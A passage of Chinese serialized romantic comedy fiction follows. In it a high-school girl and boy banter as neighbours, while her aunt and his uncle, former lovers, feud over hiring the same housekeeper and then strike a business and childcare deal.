姜织宁控诉道：“你让我误以为你是EQUA的兼职生，姑姑昨天和我说了，EQUA是你舅舅的公司，亏我还想给你冲业绩呢，浪费感情。” “服务你的时候，我就是兼职店员，不是还戴兼职工牌了吗。”柯译衍一脸无辜。 姜织宁无语看着他：“哦，就兼职那一小会儿是吧？” “不止。” “那是多久？” “半个下午。”柯译衍回忆了下，严谨地说。 “” 无语。 “那么请问我们的柯大少爷，”姜织宁面无表情斜睨他一眼，没好气质问道，“为什么会突然去EQUA兼职半个下午？是闹着玩吗？” 柯译衍实话实说：“主要是为了拿衣服，兼职只是意外。” “啊？” 他解释：“去EQUA拿新款穿。” 这么说的话，姜织宁想起柯译衍好像经常穿EQUA的衣服，便猜道：“所以是帮柯叔叔免费打广告？行走的模特？” “是啊，挺聪明。”柯译衍拧开瓶盖，佯装无奈叹了口气，“黑心老板还不给工资。” 姜织宁懂了，有点哭笑不得，有点同情。 同样是种草，很显然，比起广告里完美到不真实的模特，反而现实中真人的上身效果更加具备信服力。 柯绍之作为精明的生意人，当然能意识到这点。 EQUA是运动品牌，主打年轻人市场，他外甥柯译衍年纪轻，气质酷，一张脸长得巨帅无比，人从小练体育，净身高188，宽肩窄腰，还有结实漂亮的腹肌，那身材，完全不输模特，简直是日常生活中EQUA的最佳形象代言人。 这么顶的完美模特，那不得好好利用起来吗。 所以每次EQUA新品上市，要么邮寄到家里，要么通知柯译衍去店里拿，大多数时候，都是叫柯译衍自己过去拿，很随意，在店里凑巧碰上姜织宁那次，就是喊他去商场拿新衣服。 只不过当时店里很忙，人手不够，他又正好闲着，所以临时被店员抓去帮忙，类似的事之前也发生过几次，偶尔叫他帮个小忙。 两人没说话，气氛安静了一会儿。 柯译衍把饮料放到旁边，注视着俞杨打球，忽然开口问：“有事？” “嗯？” “怎么来球场了？” 姜织宁直白坦诚地说：“来看你啊，给你送水，贴心吧。” 其实，她主要是过来看看友谊的小船还能不能拯救。 她忍了快一天，没办法，到底性子直球，话实在憋不住，本想亲自找柯译衍，问清楚情书怎么回事，不过刚才俞杨已经和她说明白了，那就没什么大事了。 “这么突然？”柯译衍愣了下，没想到她会这么说。 “啊，很突然吗？”姜织宁浅笑眨了眨眼，一本正经和他商量，“那我下次提前和你说？” 柯译衍：“” 倒也不是提前说不说的事 无言之间，少女头顶毛巾的松弛模样，以及不按套路的俏皮回答，促使柯译衍忍不住弯唇笑出声。 他笑着别开目光，轻叹了口气：“你还挺幽默。” “是吧，终于被你发现了。”姜织宁眼睛一亮，笑盈盈看着他，“是不是觉得，学姐和传闻中的高冷形象不一样？” 姜织宁端起优雅姿态，拿捏腔调表示：“哎，俗话说得好，漂亮的皮囊千篇一律，有趣灵魂多宝贵啊，这么宝贵的东西，当然不能让所有人都知道，自己人看见就行了。所以啊，看在我们是朋友的份上，学姐的有趣可以对你毫无保留。” 柯译衍：“” 没想和姜织宁计较这些，但是她一口一个学姐的，不由惹得他皱眉反问：“谁是学姐？” “当然是我。”姜织宁理所当然地说。 他很困惑：“你不是在读高二么？” 姜织宁严肃强调：“那是因为学姐之前生病休学了，所以才重读高二。” 柯译衍气定神闲回：“嗯，所以现在是同级。” “” 油盐不进啊他。 姜织宁酝酿了下，刚想说哪怕现在同级，姐姐我也比你大一岁时，就听柯译衍轻描淡写地说：“那天晚上在派出所，看到了你的身份证信息。” 姜织宁：“？” 柯译衍笑了笑：“挺巧，我们是同年出生。” 姜织宁：“” 他不忘补充道：“我是上半年，你是下半年。” 姜织宁：“” “所以说，”柯译衍慢悠悠总结，“应该算不上学姐吧？” 姜织宁：“” 少女不说话，柯译衍弯着唇角，故意追问一句：“你觉得呢，姜同学？” 觉得什么觉得，宁王已阅啊，知道了啊！ 无语中，姜织宁什么也没说，安静了一会儿后，转而警告道：“你最近小心点。” 柯译衍：“？” 她抿唇笑起来，轻飘飘说：“出于朋友的义气，我才好心告诉你，大概是因为柯叔叔的原因，所以我姑姑最近看你很不顺眼，她一旦生起气来，火山爆发，很恐怖的。” 柯译衍：“” 姜织宁笑意加深：“你知道吗，在见到柯叔叔之前，我姑姑特别喜欢你，成天在我面前夸你，说译衍这好那好，一身上下全是优点，都想让你做我的——” 她倏地收声，把未说出口的哥哥给咽回去。 “嗯？做你的什么？”柯译衍挑眉。 姜织宁：“” 原本可以光明正大说一声——做弟弟，但是刚才，柯译衍特意申明他比她早几个月出生，一下子搞得她没了底气。 姜织宁轻咳一声，从容表示：“做什么不重要，总之，目前你在姑姑那边已经失去姓名了，你以后出门回家小心点，最好别碰上她。” 什么意思？ 他出门回家还得算着时间来？ 柯译衍郁闷心想，有这么夸张吗，他可什么都没做啊，清白且无辜。 他是他，舅舅是舅舅，姜阿姨怎么能搞连坐呢？ 姜织宁补充说：“这段时间情况特殊，上面风头紧，我们都收敛点。” “收敛？”柯译衍没听懂，目光困惑，“什么意思？” 她耐心解释：“意思是，以后我们在小区里碰见，如果姑姑也在场的话，你就别和我打招呼了，也千万别和我说话，装不认识就行。” “” 姜织宁表情认真：“我是为你好。” 半响，柯译衍意味深长嗯了声：“懂了。” 他这语气 姜织宁忍不住追问：“你懂什么了？” 他双手闲散环到胸前，淡声说：“原来和你做朋友是这样的。” “哪样？” 鼻腔哼出一声笑，柯译衍不冷不热道：“上不了台面，见不得光。” 姜织宁：“” 一头黑线。 他这是什么茶言茶语啊？ 第36章 糖葫芦还吃不吃了？ “都说了是为你好。” “你要不相信, 非想试试我姑姑的怒火，那随便你啊。” “反正我提醒过你了。” 姜织宁一脸无辜，摊手说。 柯译衍慢悠悠瞥她一眼, 笑笑：“相信。” 姜织宁满意翘起唇角，好奇问：“你知道柯叔叔和姑姑以前是什么关系吗？” 柯译衍嗯了声：“知道。” 她诧异：“啊？你不会早就知道了吧？” “没有, 和你一样，昨天晚上才知道。” 姜织宁想当然地问：“是不是柯叔叔以前做了什么对不起姑姑的事？否则两人见面怎么和仇人一样, 姑姑很久没发这么大脾气了。” “不清楚。” 姜织宁想了想，状似不经意, 探口风问：“哦, 那柯叔叔现在有女朋友吗？” “套我话？”柯译衍弯唇说, 秒懂她心里在想什么。 “怎么能叫套话呢，我就是随便问问嘛。”话落, 姜织宁不忘反将他一军，不满质问, “你哪边的？我们是朋友哎，我都让你小心姑姑了, 你还有什么不好说的？义气呢？” 要论关系亲近，他当然是舅舅那边的, 可是被姜织宁这么一指责, 柯译衍就像被洗脑似的, 当即陷入反思, 认真反思了一下义气问题。 沉默数秒后，他妥协回道：“没有。” 姜织宁顿时笑起来, 得意洋洋说：“哦, 那我姑姑赢了，她有男朋友, 还是小鲜肉呢。” 柯译衍：“” “宁王，吃饭去啊！” 不远处传来熟悉的吼声。 快要到吃晚饭的时间，周静瑶结束社团活动，奔跑到网球场捞人吃饭。 肚子有点饿了，姜织宁取下头顶毛巾，仔细叠好，放到俞杨球包上，起身对柯译衍说：“我先走了。” “姜织宁。” 没走两步路，就被柯译衍懒洋洋叫住。 姜织宁转身：“嗯？” 柯译衍侧目看着她，淡声问：“糖葫芦还吃不吃了？” 她愣了下，旋即惊喜点头：“吃吃吃！但是不方便给我吧，姑姑这几天都在家，下班也早” “抽屉里，自己拿。”柯译衍打断她说。 “啊？”姜织宁有些吃惊，“你带学校来了？” “嗯。” 她眨了眨眼，得寸进尺问：“有没有草莓” 柯译衍秒懂，哼笑一声：“买了。” 姜织宁脸上浮起愉悦笑容，眉眼弯弯：“那就谢谢啦，好人一生平安，下次还给你送水。” 少女脚步欢快，小跑向等在出口处的周静瑶。 俞杨走过来，打量了几眼姜织宁越跑越远的背影，一边收拾东西准备干饭，一边嬉皮笑脸问：“效率挺高啊你们，这么快就和好了？” 柯译衍收回视线，懒散抬眸，“什么？” 俞杨啧了声，浮夸说：“就你和宁王啊！你是不知道，宁王刚来的时候一身低气压，杀气满满，我都怕她锤你！” 柯译衍：“” 俞杨目光同情，好心劝道：“你就长点心吧，就那个韩辰啊，他以前可是被宁王锤过的，说痛得要死，还心理阴影了这么多年。你少惹我们宁王生气，让着她点，真的，保平安，你现在还年轻，千万别想不开啊。” 柯译衍：“” 有病吧他，到底是谁惹谁生气？ 什么都不知道，就在那边胡说八道。 收拾东西时，俞杨注意到柯译衍手里拿的水和自己的不一样。 他定睛一看，顿时拉下脸，扭头朝吴瑞奇不爽吼道：“喂！你给我买两块的矿泉水，却给柯译衍买十块的豪华版运动饮料？？？两块和十块，足足差了五倍！哇，你这个偏心、黑心、没良心的狗东西！！！” “神经病啊你！”吴瑞奇拿着球拍走过来，满脸莫名其妙，说，“你奇哥一视同仁，全都买的两块好吧！” “那这是什么啊？这十块的是什么啊？！”俞杨手一指，控诉质问。 唧唧歪歪，吵死人了！ 柯译衍被吵得不行，眼风锋利，不耐烦斜向俞杨。 吴瑞奇顺势瞄了眼，无语道：“我说俞老师啊，这不是宁王带来的吗，又不是我买的！” 俞杨：“” 啊，原来是女神偏心，没爱了。 俞杨愤愤不平怒瞪柯译衍，心碎捂住胸口，一边戏精抹泪状，一边碎碎念。 “嘤嘤嘤，这么多人，宁王怎么就给你一个人买啊？明明她是来锤你的！” “臭不要脸，她给你你就收啊？” “女神为什么区别对待啊嘤！” “明明我才是她的忠实粉丝啊嘤！” “一片真心，错付了啊嘤！” 这个神经病！ 柯译衍一点也不想搭理戏精，面无表情起身，对吴瑞奇说：“走，吃饭。” “走走走，赶紧走，饿死我了！”吴瑞奇幸灾乐祸，走之前，不忘嘲笑心碎的俞杨，“喂，我说，宁王区别对待怎么了？这不是很正常吗，人衍神和宁王是一对啊！你算个毛线！” 什么叫一对？ 柯译衍平静看着吴瑞奇。 “双A组！”吴瑞奇连忙纠正措辞，竖起大拇指，嘿嘿笑道，“我是说，你俩是独一无二的双A组！” 俞杨不乐意放下球包，叉腰冷哼。 “靠，在我伤口上撒盐是什么意思！” “双A组了不起啊，就可以为所欲为了吗？！” “喂！你们两个等我一下啊！” “我不要吃饭的吗？！” * “赵阿姨的手机号码我已经发你微信上了。” “我和你说，这位赵阿姨很抢手的！” “做事情认真专注，细致上心，特别稳重靠谱，厨艺尤其出色，还会做药膳，很多人想要高薪挖她跳槽，她都没答应。” “之前啊，同个小区的其他业主好几次想撬走赵阿姨，被雇主知道后，雇主气得在业主群里破口大骂三天三夜！” “这次是因为雇主全家都要移民到国外，赵阿姨不愿意跟着去，所以我才第一时间告诉你。” “你知道吗，那雇主没劝动赵阿姨一起去国外，一家人都快伤心死了，老人家哭了好几天，饭都吃不下！” “所以说，你抓紧联系她啊，她真的太抢手了，绝对是最优选！” 姜颖连连点头：“明白了，我待会儿就联系她。” 和朋友聊了几句后，姜颖挂掉电话，迅速切到微信页面。 这几天，她一直在忙着物色新阿姨。 经历过刘萍那件事后，她变得谨慎许多，在招聘上设置了各种苛刻条件，至今为止，面试过的几位阿姨都让她不太满意，所以到现在，还没有找到理想的阿姨。 愁眉莫展时，好友打来电话，说要介绍一位不在市面上流通的优秀阿姨，人绝对靠谱，姜颖一听这话，顿时心花怒放。 她按照朋友发来的手机号码打过去，前两次都是无人接听状态，一个小时后，她又打了一次，这回倒是接通了。 姜颖笑道：“喂，赵阿姨是吗？” “刚才整理房间，没听到电话？哈哈哈，没事没事。” “对对对，朋友给的联系方式，我这边需要招一个住家阿姨，主要工作是照顾家里上高中的小朋友” 原本心情是很愉悦的，结果没聊多久，姜颖就笑不出来了。 对方很抱歉的说，她已经和新雇主签订了合同，并且已经开始在雇主家里工作了。 这简直是—— 惊！天！噩！耗！ “已已经开始工作了吗？！” 姜颖一边说，一边走向玄关。 她同合作方约了晚饭，眼看时间差不多，走向玄关，换鞋拎包，打开大门。 赵阿姨：“是的姜小姐，真是不好意思啊。” 对方抱歉的声音不仅从电话里传来，似乎还在周围响起。 姜颖奇怪抬头，寻找声源时，就见对面大门敞开着，有个中年女人站在门外，左手拿着手机，右手拎着小型木架。 该不会，这么巧吧 她心里顿时浮起不妙的猜测。 “赵阿姨？” 姜颖关上大门，往前走几步，试探喊了声。 中年女人闻声顿了下，随即放下手中木架，转身看向眼前容貌明艳的年轻女人，她满脸惊讶：“姜小姐？” “对，是我。”姜颖干脆挂掉电话，大步走到女人面前，抬手指着老男人的家大门，冷静问道，“你的新雇主，就是这户业主？” 赵阿姨完全没察觉到异常，热情笑起来：“对对对，原来姜小姐就住在对面，怎么这么巧呢！” 不不不，姜颖皮笑肉不笑，一点都不巧！ 她想都没想，直截了当地说：“赵阿姨，你的合同是怎么签的？有没有时间可以匀出来给我？我这边情况急，家里有小朋友需要照顾，急招阿姨，薪资什么的都可以商量。” 赵阿姨脸色为难：“不好意思啊姜小姐，没有时间可以匀出来的，我都是全职，不是钟点工那种。” “这好办，那你来我家全职。”姜颖不假思索地说。 赵阿姨：“” 这位姜小姐也太直接了…… 姜颖正要继续劝时，叮一声，电梯门打开。 柯绍之从电梯里走出来，拐过走廊，一眼瞥见姜颖站在自己家门口。 男人止步，神色有些意外，他看了眼新来的阿姨，视线继而挪到姜颖脸上，抬脚走到她面前。 “有事？” 姜颖还要赶时间去见合作方，眼下没空打嘴仗，但一想到优秀阿姨居然被柯绍之抢走，心里就气不打一处来。 她端起高傲姿态，冷眼瞪着男人，气骂道：“怎么哪哪都有你！” 柯绍之：“” 简直莫名其妙。 柯绍之望着姜颖飒飒离开的背影，十分不解，明明是她鬼鬼祟祟站在他家门口，怎么还有脸反过来骂他？ 真是不讲道理的无情女人！ “真凶。”他自言自语嘀咕了声，回头看向赵阿姨，淡声询问，“她有什么事？” 赵阿姨非常意外，没想到这两位居然认识，而且看上关系不太好。 女人也不敢隐瞒，就把姜颖找阿姨找到她这边来的情况，一五一十说了遍。 柯绍之听完后，意味不明笑了下：“这么巧。” 赵阿姨怕男人误会，连忙说：“柯先生您放心，我已经和姜小姐说清楚了，我肯定不会去她那边的。” …… 姜颖面无表情坐在车后排，指尖在手机屏幕上飞舞着，信息发给刚才介绍阿姨的朋友后，朋友立马打来电话。 “啊？这么快吗？？？” 姜颖臭脸说：“是啊。” 好友：“我可是第一时间就通知你了啊！看来还是我这边的信息不及时，真是应了圈内的那句话，好阿姨根本不在市面上流通，早就内部被预定掉了。” 姜颖没好气道：“新雇主居然是柯绍之那个老男人，哼，气死我了！” 好友讪笑：“你和柯绍之还真是有缘啊” 姜颖冷哼：“谁想和他有缘？孽缘！我现在只想把阿姨弄过来！” 好友叹气：“和你说实话啊，不太可能，赵阿姨撬不走的，以前想撬她的人可太多了，没一个成功的，你还不如抓紧时间看看别人呢。” 姜颖：“我非撬不可！” 好友：“干嘛这么为难自己啊，要不，我再给你物色物色其他人？” 姜颖：“不用，我就要赵阿姨。” 好友：“” 先前好友不仅激情推荐，还把这位赵阿姨夸得天花乱坠，所以，当电话里得知赵阿姨已经被其他人雇走后，姜颖确实觉得遗憾，想要争取看看。 不过，她那会儿只是抱着随缘的心态，并没有眼下这么强烈的决心。 其他人也就算了，偏偏和她作对的人是柯绍之，既然如此，那就不好意思了。 姜颖强烈的胜负心如同熊熊烈火般燃烧起来。 她对赵阿姨，势在必得！ 接下来的几天，姜颖一直在用各种办法私联赵阿姨。 天公不作美，也不知道怎么回事，柯绍之像是故意和她作对似的，开始天天回这边住。 姜颖不想撞见柯绍之，赵阿姨又约不出来，她只能天天给赵阿姨打电话，发八百字小作文信息。 最近姑姑的嘴里高频率出现赵阿姨三个字，每次还伴随着无比热情的语气，很快引起了姜织宁的注意。 这天，姜织宁放学回来，再次看见姑姑端坐沙发上，笑眯眯拿着手机，在给赵阿姨发语音。 她放下书包，忍不住问：“姑姑，赵阿姨是谁啊？” “我新物色的靠谱阿姨。” “她是不方便过来工作吗？这几天看姑姑一直在联系她。” 姜颖淡然回：“赵阿姨就在对面上班。” 哦，对面。 等会儿，对面？ “对面的话”姜织宁愣了愣，小心翼翼问，“赵阿姨……现在在柯叔叔家上班？” 姜颖嗯了声。 姜织宁：“” “你放心，姑姑会把她招过来的。”女人云淡风轻地说。 嘴里的牛奶差点呛出来，姜织宁默默心想，这是招吗，这是明抢吧 姜颖指了下阳台，吩咐道：“宁宝，你去晒一下洗衣机里的床单，我给你房间换了新的床单被套。” 姜织宁乖乖放下牛奶，走到洗衣机前，她掀开盖子，发现床单还是干的，上面还沾染着洗衣液。 “姑姑，你好像忘记洗了。” “啊？！”女人愣了下，神情懊恼，叹气道，“可能是忙忘记了，你看看，我工作忙，你上学忙，咱们家还是得有个阿姨过来帮忙，不行，我得尽快想想办法。” 第二天晚上，姜颖特意掐点回家。 她已经摸清了赵阿姨出门扔垃圾的时间，一般是晚上九点多左右，今晚，她准备制造一场偶遇。 姜颖坐在玄关处，一边刷手机，一边竖起耳朵听门外动静，正如她所料，没过多久，便听到对面大门打开的声音。 她马上拿起早已准备好的垃圾，起身开门。 “赵阿姨，扔垃圾呢？” “好巧，我也正好准备出门扔垃圾，一起啊。” 姜颖笑盈盈看着中年女人。 “是啊，真巧……” 赵阿姨脸上浮起尴尬笑容，心里知道，这大概率不是凑巧。 两人走进电梯，姜颖并没有挑明目的，一直在闲聊，时不时穿插嘘寒问暖，直到扔掉垃圾，往回走时，她才摊牌。 “赵阿姨，我这段时间没有面试别的阿姨，一直在等你答应来我家，柯绍之他给你开多少工资？我可以翻倍，钱不是问题。” 赵阿姨脸色很无奈，说：“姜小姐，我之前就和你说过，这不是钱的事” 姜颖一贯毒舌高傲，脾气火爆，几乎没和人服过软，但这会儿也是真没辙了，她不得不把口气放到最软，拿出毕生演技，试图感化对方。 明艳女人装出一副柔弱模样，叹了口气，无比煽情道：“赵阿姨，咱们都是女人，女人何苦为难女人呢？” 赵阿姨：“” 她她她没有为难她啊 眼角挤不出眼泪，姜颖还是做作地抬手，轻抹了下，说：“赵阿姨，你要是不来帮帮我，我可怎么办呢？我家宁宝怎么办呢？” 赵阿姨有点被吓到了，忙问：“这这是怎么了呢？” 姜颖深深叹气，情绪低落说：“唉，我们家宁宝命苦啊，小朋友从小就无父无母，上半年还被人砸到脑袋，休学住院，搞得现在身体很不好。你知道的，现在高中生学习紧张，天天早出晚归，身心压力特别大，正是需要人好好照顾的时候。” “我这边呢，要忙公司的事，也是早出晚归，还经常出差，好几天不回家，宁宝没有爸爸妈妈，孤零零一个人住这边，谁来照顾她呢？” “我不会照顾人，总犯迷糊，我也不会做菜，赵阿姨你知道吗，以前宁宝还因为吃了我做的菜，食物中毒进医院过！天啦，你说小朋友惨不惨？” “我就是想找个阿姨，好好照顾她，怎么就这么难呢？” “赵阿姨，要是你不过来帮帮我，我真的不行啊！” “如果我不把宁宝照顾好，我怎么对得起去世的哥哥嫂嫂！” “赵阿姨啊” “赵阿姨啊” 姜颖声情并茂的诉苦，很难不让人动容，可是赵阿姨也有自己的为难之处。 赵阿姨不忍道：“姜小姐，真的对不起啊，不是我不想帮你，主要是，我这边早就和柯先生签约合同了。柯先生他也等了我很久，确实不好临时违约，你看这样行不行，我回去立马联系朋友，尽快帮你找一位合适的阿姨过来。” 叮一声，电梯门打开。 “赵阿姨，你就不能理解” 姜颖余光发现站在电梯里的男人，倏地收声。 她瞬间收起感天动地的演技，面无表情扫了眼柯绍之，低气压走进电梯里。 电梯匀速上升，气氛安静到压抑。 “适可而止吧。” 柯绍之瞥了眼姜颖后脑勺，忽然开口说。 姜颖立马不悦扭头，犀利淬毒眼刀狠狠扎向男人。 男人淡声道：“你这样做，不会让别人感到很为难吗？” “我怎么做了？我又没强迫她！”姜颖拉下脸，不爽回怼，她看向赵阿姨，语气温柔道，“赵阿姨，我让你感到为难了吗？” “没有没有”赵阿姨连忙摆手。 “听到没？”姜颖冷眼斜睨柯绍之，哼声道，“我这是公平竞争，大家各凭本事，谁有实力谁胜出！” “公平竞争？”柯绍之看着她，不可思议笑了下，“说得好听，明抢就明抢，哪来的公平竞争？” 姜颖轻飘飘地说：“你我都是做生意的人，你不会天真以为，合作方一辈子不变动吧？要是人真被抢走，只能说明你实力不行。” 柯绍之冷淡回了句：“看来还是和以前一样无情，不讲道理。” 男人这话就和导火索似的，瞬间点燃姜颖心中的火药桶。 她火冒三丈走出电梯，堵在走廊上，冲柯绍之高声骂道：“我不讲道理？你就很有道理很有情了？当初为什么分手，你这个老男人心里没点数吗？！一个巴掌拍的响吗？！” “是啊，一个巴掌拍不响，你最好心里也有点数！”柯绍之不悦沉下脸，冷声说，“什么老男人，姜颖你有没有礼貌？我只你比大两岁！” 姜颖柳眉倒竖，双手叉腰，不甘示弱反驳：“两岁！730天！17520个小时！很多了！你说谁没礼貌？这个世界上，还有比你更加嘴欠，更加脾气坏的男人吗？？？” “哈，在你这种刻薄、阴险、有心机的老板手下工作，赵阿姨一定很幸苦！很有压力吧！” “和赵阿姨心心相印的人分明是我！” “你们这些臭男人懂个屁，你才适可而止，不要再为难她了！！！” 柯绍之被女人吼得头痛不已，扶额皱眉：“你这是蛮不讲理。” 啊？ 啊 赵阿姨目瞪口呆，茫然望着眼前吵到面红耳赤的两位。 她原本以为，两人只是关系不好的朋友，没想到，姜小姐和柯先生居然曾经是情侣 震惊中，她也没忘记正事，眼看两人越吵越凶，赵阿姨赶忙上前劝架。 “哎呀，别吵了别吵了！大家有话好好说，都是邻居，千万别伤了和气！” 姜颖怒气冲冲：“谁跟他和气！赵阿姨，你别拦我！这老男人可恶得很，翻旧账是吧，今天不把话说清楚，他别想走！” 赵阿姨急得直冒汗：“别别别，姜小姐消消气，你先消消气，生气对身体不好” 柯绍之冷着脸：“你别拦她，让她说。” 赵阿姨：“两位消消气啊，别吵了” 事实证明，吵架不仅费脑，还费嘴，是件相当幸苦的体力活。 姜颖喘息空档，叮一声，电梯门再度打开。 她眼风忽转，面无表情，锐利盯着从电梯里一前一后走出来的柯译衍和姜织宁。 女人凉凉质问：“你们两个，为什么会一起回来？！” 姜织宁：“” 柯译衍：“” 第37章 抱有遗憾的恋爱 也不知道为什么, 虽然大家住在同一个小区同一楼层，但无论是上学还是放学，姜织宁很少在小区里碰见柯译衍。 今晚是因为有流动商贩在小区门口卖烤红薯, 姜织宁在摊位上等待红薯出炉，凑巧偶遇晚归的柯译衍, 便主动和他打了声招呼。 姜织宁和柯译衍默契互看一眼，正要开口回话, 就见少年主动走上前，高大身影半挡住她, 主动解释：“是在小区门口意外碰上了。” “是吗？” 姜颖脸色稍缓, 偏头看向姜织宁。 姜织宁立马点了点头, 神情很无辜。 姜颖不管柯译衍怎么说，反正她坚信侄女不会对她撒谎, 于是，心平气和指了下大门, 说：“宁宝先回去休息。” 姜织宁乖乖回家，不敢逗留。 进家门, 速度洗漱完毕，长发吹至半干, 姜织宁走进房间, 给平板充电开机, 登入视频群聊。 今天在线的朋友不多, 总共就四个人。 姜织宁咦了声：“蔡总又没上线？” 周静瑶：“高三牲忙呗，估计留学机构那边还没下课吧。” 姜织宁了然点头, 转而分享说：“连续剧又开始了。” 周静瑶：“啊？” 姜织宁：“刚才回来的时候, 我在电梯门口遇见了柯叔叔，姑姑和赵阿姨都在。” 周静瑶饶有兴致问：“所以现在演到哪集了？” 姜织宁：“两人在那边吵架, 到现在还没回来，估计还在吵。” 周静瑶：“那赵阿姨呢？” 姜织宁一脸同情：“弱小无助吧，看上去害怕极了。” 周静瑶拍桌狂笑：“啊哈哈哈哈哈哈！你没去劝劝吗，姜阿姨那战斗力，得吓死赵阿姨吧？” 姜织宁理智摇头：“我傻吗，大人吵架很可怕的，我才不要变成炮灰。” 周静瑶揉着笑到发酸的嘴角，眉眼弯弯说：“你们两家的缘分真的是！哈哈哈，太搞笑了！” 没过多久，姜织宁听见外头传来关门声。 她压低声音说：“好像姑姑回来了，我出去看看。” 周静瑶：“快去快去。” 姜织宁站起来，轻手轻脚挪到房间门口，刚打开大门半条缝，就见姑姑面布阴云，健步如飞奔向房间，紧接着“砰！”一声，房门被女人用力甩上。 呃好像气得不轻啊。 姜织宁理智想了想，默默关上房门。 算了，现在不是安慰人的时候，她不想变炮灰。 …… 从小到大，姜颖一直稳坐校花宝座，高中那会儿，更是因为美貌而名声大噪。 她和柯绍之就读于同一所高中，她高一入学的时候，柯绍之正好升到高三。 学生时代的柯绍之名气并不比姜颖低，是一位长得帅、学习好，桃花绯闻不断，暗恋者无数的风云学长。 面对周围无数追求者，姜颖全都没答应，反而大胆倒追起柯绍之，两人拉拉扯扯一段时间，便在一起了。 姜颖上高中时就开始接触模特工作，期间并不是一帆风顺，她被骗过，也被欺负过，柯绍之一直不太同意姜颖过早接触社会，他认为，等上大学后再做模特也不迟。 因为这件事，两人时有争吵。 后来，柯绍之毕业去了国外读大学，姜颖继续念高中，彼此之间横着异国恋、信息差的阻碍，也有对于未来发展方向不合的困扰。 争吵变得越加频繁，感情脆弱，如同薄纸。 那时候的姜颖和柯绍之都是众星捧月，脾性强势，不懂服软，无比心高气傲的人，彼此是真爱，吵起架来也是真的狠。 两人因为性格、观念不合，分分合合过很多次，直到某天，翻天覆地大吵了一次后，彻底分手。 都是嘴硬的人，事后都在等待对方出言挽回，可一天天过去，谁也没有踏出那一步。 对于两人来说，这确实是一段刻骨铭心，抱有遗憾的恋爱。 关乎感情的陈年旧账，到底谁对谁错，一时半会儿怎么可能吵得清楚，姜颖臭脸坐在阳台上，一边吹冷风冷静，一边给朋友打了个电话。 她在电话里破口大骂柯绍之半个多小时，又被朋友安慰许久，情绪才彻底冷静下来。 姜颖本以为这场阿姨之争彻底陷入了僵局，没想到几天后，事情突然有了转机。 她意外接到柯绍之打来的电话，说要约她见面谈谈。 见面谈？ “谈什么啊，我们已经分手很久了！”姜颖在电话里没好气地说。 “”柯绍之沉默一瞬，心平气和讲，“不谈情，谈钱有没有兴趣？” 谈钱？ 那还是很有兴趣的。 谁会和钱过不去，况且，她现在正好需要钱。 两人约在久悸见面，景色极好的包厢，桂香萦绕。 姜颖姗姗来迟，落座时，瞄见桌上摆着学生时代最爱吃的甜品，她略意外地瞥了眼柯绍之，内心深处微动了动。 “找我什么事？”女人放下包，开门见山问。 柯绍之给她倒了杯茶，直言道：“我听说，SVIEW正在物色线下门店，还在寻找投资方？” 姜颖猛然蹙眉，用一种“商业机密，他怎么会知道？”的警惕眼神审视着男人。 柯绍之也不恼，牵唇笑了笑：“别用这种眼神看我，不是你自己在饭桌上公开说的吗？” 姜颖回忆片刻，貌似前不久，她确实在饭局上说过。 那天她有点喝多了，导致嘴巴一时没捂住，好在SVIEW寻找资方这事并不需要过于保密，就算被他知道，也没什么大不了。 看女人一言不发，柯绍之主动问：“目前有找到合适的投资方么？” “还在接触。”姜颖抱臂看着他，严肃道，“干什么，你对我的SVIEW有想法？” 柯绍之微微颔首，毫不避讳地说：“确实有，不知道你有没有接触过Link资本？” “是那家明星投资机构么？” “嗯。” “没有。” “有没有兴趣和他们接触看看？” 姜颖微愣，蹙眉说：“我记得Link资本不投消费品赛道。” 柯绍之笑了笑，耐心解释：“以前确实不投，这两年，他们试水投了一个新国货品牌，叫Ncolors，发展非常成功，所以Link资本最近在小范围物色快消项目，不过需要熟人内部引荐。” Ncolors这名字听着还挺耳熟，姜颖若有所思，询问道：“是不是做美妆的品牌？听说幕后是个年轻有为的女老板，也是江洲人。” 柯绍之颔首：“对，堪称奇迹的本土美妆品牌，老板叫桑思妍，闵森是她男朋友。” “闵森？”姜颖顿了下，惊讶确认，“柏风集团总裁闵森？” 这背景关系就有点厉害了，这位闵总可是大有来头。 “是他。”柯绍之透露道，“闵森不仅是柏风集团总裁，也是Link资本的幕后大老板之一。如果你的SVIEW能和Link资本达成合作，只会有好处，不会有坏处。” Link资本在业内名气大，实力强，孵化出不少明星企业，这些姜颖都知道，如果双方能合作，那当然好了。 感情归感情，生意归生意，姜颖不傻，这点还是能分清楚的。 她凝思片刻，冷静总结：“你说了这么多，是要帮我内部引荐吗？” 柯绍之品了口茶，慢悠悠说：“你愿意的话，当然可以。” 姜颖紧盯着男人，目光锐利，充满审视之意。 这平白无故的，干嘛主动给她送好处，阴险老男人不会是有坑等着她跳吧？ 不应该啊，他那EQUA是运动品牌，而她的SVIEW是快时尚女装，两边八杆子打不着。 思及此，姜颖忽然扬唇浅笑起来。 她在商言商，耐人寻味地说：“今天是吹的什么风，居然能让柯总这么闲，专门给我家SVIEW送爱心？” 柯绍之淡笑，坦诚道：“EQUA和柏风集团最近在接触体育方面的合作，如果SVIEW能成功联手Link资本，对我这边的合作谈判自然有加成作用，况且，SVIEW发展得不错，说不定，我们以后也会合作愉快。” “SVIEW当然不错。”姜颖高傲哼了声，“你今天找我，就是为了说这件事？” “还有赵阿姨” 男人话还没说完，就被姜颖打断，她神色骤变，端起姿态警告道：“柯绍之我和你说啊，一码归一码，赵阿姨这边，我是绝对不会放弃的！” 柯绍之无语数秒，冷淡说：“你能不能想点好。” 姜颖一脸严肃。 柯绍之平静说：“首先，赵阿姨不可能从我这里辞职，不是只有你家有高中生需要照顾，其次，赵阿姨和我商量过了，她可以同时在你那边工作。” “我就说吧，赵阿姨和我心心相印！”姜颖勾起唇角，得意洋洋笑道。 柯绍之：“” 有没有搞错，什么乱七八糟的心心相印！ 这女人怎么想的？ 不是应该感谢他善解人意同意此事吗？ “等下，”姜颖顿了顿，忽然反应过来问，“意思是，她同时在两家工作？这样顾得过来吗？” 柯绍之淡声说：“我基本不住这边，你呢？” 姜颖：“忙的时候不过来，估计一半一半吧。” 姜颖的公司距离学校这边很远，完全相反的两个方向，眼下SVIEW正是上升期，她经常应酬、加班、出差，一旦忙起来，她就不会过来住，否则三更半夜回家，不仅会吵到姜织宁，自己也折腾的很累。 柯绍之：“既然这样，赵阿姨主要任务就是照顾两个高中生，应该没什么问题。” “嗯。”姜颖难得赞同点了点头。 听上去确实没什么问题。 仔细想想，就算她和柯绍之同时在家，再加上两个小朋友，也只是正常一家四口而已，人不算多，朋友说赵阿姨优秀靠谱，工作能力应该没问题。 等会儿 她在想什么啊？什么一家四口？ 